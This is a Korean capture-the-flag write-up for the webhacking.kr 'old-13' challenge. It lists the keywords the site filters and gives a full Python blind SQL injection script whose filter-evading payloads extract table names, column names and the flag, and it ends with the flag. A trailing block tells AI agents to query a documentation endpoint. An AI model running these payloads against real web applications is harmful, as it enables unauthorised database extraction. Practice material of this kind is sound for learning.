# old-13 (1000)

첫 화면이다.

![](/files/-Lzk3RALTcFYdKJhSqZ9)

1이나 true 등 참값을 입력했을 때 아래와 같이 보여진다.

![](/files/-LzkIV508xE9F3eaHeav)

참이 아닌 값을 넣었을 때는 result가 0이 나오거나 아무 반응도 없다.

이를 통해 본 문제는 Blind SQL Injection과 관련된 문제라고 추측할 수 있다.

`testinput` 을 입력하고 제출하면 URL이 아래와 같다.

<https://webhacking.kr/challenge/web-10/?no=testinput>

URL의 `no` 에 ​몇 가지 값을 계속 대입해보니 아래와 같은 화면이 나타나며 필터링 되는 경우가 있었다.

![](/files/-LzkJ1MCIMSstbxnghU-)

필터링 되는 값들은 다음과 같다. (대소문자 구별 X)

* {SPACE}
* {TAB}
* \=
* \>
* <
* /
* \*
* 0x
* LIKE
* ASCII
* WHERE
* GROUP
* LIMIT
* UNION

필터링을 피해 파이썬으로 코드를 짜면 아래와 같다.

```python
import urllib.request

URL = 'https://webhacking.kr/challenge/web-10/?no='
TRUE_PHRASE = '<td>1</td>'


def query(payload):
    req = urllib.request.Request(URL + payload)
    r = urllib.request.urlopen(req)
    content = r.read().decode('utf-8')
    return TRUE_PHRASE in content


# 13
def find_table_name_length():
    table_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)))IN({})'.format(table_name_len)) is False:
        table_name_len += 1
    print('table_name_len: {}'.format(table_name_len))
    return table_name_len


# flag_ab733768
def find_table_name():
    table_name_len = find_table_name_length()
    table_name = ''
    for pos in range(1, table_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})'.format(pos, character)) is True:
                table_name += chr(character)
                break
    print('table_name: {}'.format(table_name))
    return table_name


# 13
def find_column_name_length(table_name):
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)))IN({})'.format(table_name, column_name_len)) is False:
        column_name_len += 1
    print('column_name_len: {}'.format(column_name_len))
    return column_name_len


# flag_3a55b31d
def find_column_name(table_name):
    column_name_len = find_column_name_length(table_name)
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name = ''
    for pos in range(1, column_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})'.format(table_name, pos, character)) is True:
                column_name += chr(character)
                break
    print('column_name: {}'.format(column_name))
    return column_name


# 27
def find_flag_length(column_name, table_name):
    flag_len = 1
    while query('LENGTH((SELECT(MAX({}))FROM({})))IN({})'.format(column_name, table_name, flag_len)) is False:
        flag_len += 1
    print('flag_len: {}'.format(flag_len))
    return flag_len


# FLAG{challenge13gummyclear}
def find_flag():
    table_name = find_table_name()
    column_name = find_column_name(table_name)
    flag_len = find_flag_length(column_name, table_name)
    flag = ''
    for pos in range(1, flag_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})'.format(column_name, table_name, pos, character)) is True:
                flag += chr(character)
                break
    print('flag: {}'.format(flag))


find_flag()
```

쿼리에 `MIN` 과 `MAX` 를 적절히 넣어가며 값을 확인해 최종 실행결과가 맞게 나오는 조건을 찾았다.

최종 실행결과는 `FLAG{challenge13gummyclear}` 이고, 이를 폼에 넣고 Auth 버튼을 클릭하면 문제가 풀린다.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-13-1000.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
